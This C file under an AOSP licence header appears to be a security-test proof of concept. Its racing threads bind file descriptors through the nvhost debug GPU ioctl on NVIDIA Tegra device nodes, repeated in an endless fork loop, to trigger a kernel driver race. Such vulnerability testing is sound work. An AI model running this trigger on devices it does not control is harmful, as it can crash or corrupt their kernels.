| /* |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <sys/types.h> |
| #include <sys/stat.h> |
| #include <fcntl.h> |
| #include <unistd.h> |
| #include <sys/syscall.h> |
| #include <string.h> |
| #include <stdint.h> |
| #include <pthread.h> |
| #include <linux/ion.h> |
| |
| #define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul |
| |
| |
| int fd_gpu; |
| int fd_dbg; |
| int fd_dbg_1; |
| |
| void *thr(void *arg) |
| { |
| int ioarg[2]; |
| switch ((long)arg) { |
| case 0: |
| fd_dbg = open("/dev/nvhost-dbg-gpu",0x0ul,0x101000ul); |
| break; |
| case 1: |
| fd_dbg_1 = dup3(fd_dbg, fd_dbg,0x80000ul); |
| break; |
| case 2: |
| ioarg[0] = fd_dbg_1; |
| ioarg[1] = 0; |
| ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg, 0, 0, 0); |
| break; |
| case 3: |
| fd_gpu = open("/dev/nvhost-gpu",0x0ul,0x2000ul); |
| break; |
| case 4: |
| ioarg[0] = fd_gpu; |
| ioarg[1] = 0; |
| ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg); |
| break; |
| case 5: |
| ioarg[0] = fd_gpu; |
| ioarg[1] = 0; |
| ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg); |
| break; |
| } |
| return 0; |
| } |
| int poc() |
| { |
| long i; |
| pthread_t th; |
| for (i = 0; i < 6; i++) { |
| pthread_create(&th, 0, thr, (void*)i); |
| usleep(10000); |
| } |
| for (i = 0; i < 6; i++) { |
| pthread_create(&th, 0, thr, (void*)i); |
| if (i%2==0) |
| usleep(10000); |
| } |
| usleep(100000); |
| return 0; |
| } |
| |
| |
| int main(int argc, char const *argv[]) |
| { |
| int pid; |
| while(1){ |
| pid = fork(); |
| if(pid){ |
| usleep(30000); |
| }else |
| return poc(); |
| } |
| return 0; |
| } |